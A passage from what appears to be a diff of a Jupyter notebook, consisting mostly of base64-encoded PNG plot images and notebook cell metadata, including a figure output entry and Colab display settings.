6qIiiGrbaaithG8DXyJRSAACose222y4NHjw4Pfvss2mFFVbI191zzz3p6KOPzrcBAJPPlFIAAKixqGI7/vjj08knn5xXrwxzzz13+uUvf5n22Weflr5uAMCkE7gBAECNffjhhylOCWaYYYY0bty4NHr06Lxq6eKLL54GDhzY0Q8PALokPdwAAKDGfvKTn6Tzzz+/pdptwIAB6Xe/+10aNGhQOv300zv64QFAlyRwAwCAGnvwwQfTqquumr+//PLLU9++fdMLL7yQQ7ihQ4d29MMDgC5J4AYAADX2wQcfpJlmmil//7e//S1tuOGGqXv37mnFFVfMwRsAMPkEbgAAUGMLL7xwuvLKK9OYMWPSjTfemKeUhtdffz316tWrox8eAHRJAjcAAKixQw89NO27775pgQUWSP37908rrbRSS7XbMsss09EPDwC6JKuUAgBAzb366qvp3//+d1pqqaXydNJw77335gq3RRddtKMfHgB0OQI3AAAAACiRKaUAAAAAUCKBGwAAAACUSOAGAAAAACUSuAEAAABAiQRuAAAAAFAigRsAAAAAlEjgBgAAAAAlErgBAAAAQCrP/wMg80+GeLVKBQAAAABJRU5ErkJggg==",
-      "text/plain": [
-       "<Figure size 1500x700 with 1 Axes>"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "fd7d568f",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 431
+        },
+        "id": "fd7d568f",
+        "outputId": "399605da-624b-4978-8cf8-bf7b6270bd4a"
+      },
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<Figure size 1000x500 with 1 Axes>"
+            ],
+            "image/png": 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kFRYWWm6328rJybHOPPNM69NPP91pf3/961+t0aNHW4mJiVZqaqp12GGHWTfddJNVUVGxx3Nsuz73NC2CZe3fdWdZluX1eq3f//73VnFxseV0Oq28vDzr/PPPb1eif1/i3p/fgYhIVzEsq4c9nSwiIiIiIhKn9AyYiIiIiIhIF1ECJiIiIiIi0kWUgImIiIiIiHQRJWAiIiIiIiJdRAmYiIiIiIhIF1ECJiIiIiIi0kU0EfM+ME2TiooKUlNTMQwj1uGIiIiIiEiMWJZFU1MT+fn52Gz735+lBGwfVFRUUFBQEOswREREREQkTmzcuJEBAwbs93ZKwPZBamoq0PpLTktLi3E0IiIiIiISK42NjRQUFERyhP2lBGwftA07TEtLUwImIiIiIiIdfjRJRThERERERES6iBIwERERERGRLqIETEREREREpIsoARMREREREekiSsBERERERES6iBIwERERERGRLhLTBGzRokWcddZZ5OfnYxgGr7322m7b/vznP8cwDGbPnt1ueW1tLVOmTCEtLY2MjAymTp2Kx+Np1+aLL77ghBNOICEhgYKCAu69995OOBsREREREZE9i2kC1tzczMiRI3nkkUf22O7VV19lyZIl5Ofn77RuypQprFy5knnz5vHWW2+xaNEirrrqqsj6xsZGJkyYQFFREcuWLeNPf/oTd9xxB3/961+jfj4iIiIiIiJ7EtOJmCdNmsSkSZP22Gbz5s1cc801vPPOO5xxxhnt1pWWljJnzhw++eQTjjzySAAeeughTj/9dO677z7y8/N5/vnnCQQCPPnkk7hcLoYPH86KFSuYNWtWu0Tt+/x+P36/P/K+sbHxAM9UREREREQkzp8BM02TSy+9lBtvvJHhw4fvtH7x4sVkZGREki+A8ePHY7PZWLp0aaTNiSeeiMvlirSZOHEiq1atoq6ubpfHnTlzJunp6ZFXQUFBlM9MRERERER6o7hOwO655x4cDgfXXnvtLtdXVlaSk5PTbpnD4SArK4vKyspIm9zc3HZt2t63tdnRzTffTENDQ+S1cePGAz0VERERERGR2A5B3JNly5bxwAMPsHz5cgzD6NJju91u3G53lx5TRERERER6vrjtAXv//feprq6msLAQh8OBw+GgrKyMX//61wwcOBCAvLw8qqur220XCoWora0lLy8v0qaqqqpdm7b3bW1ERER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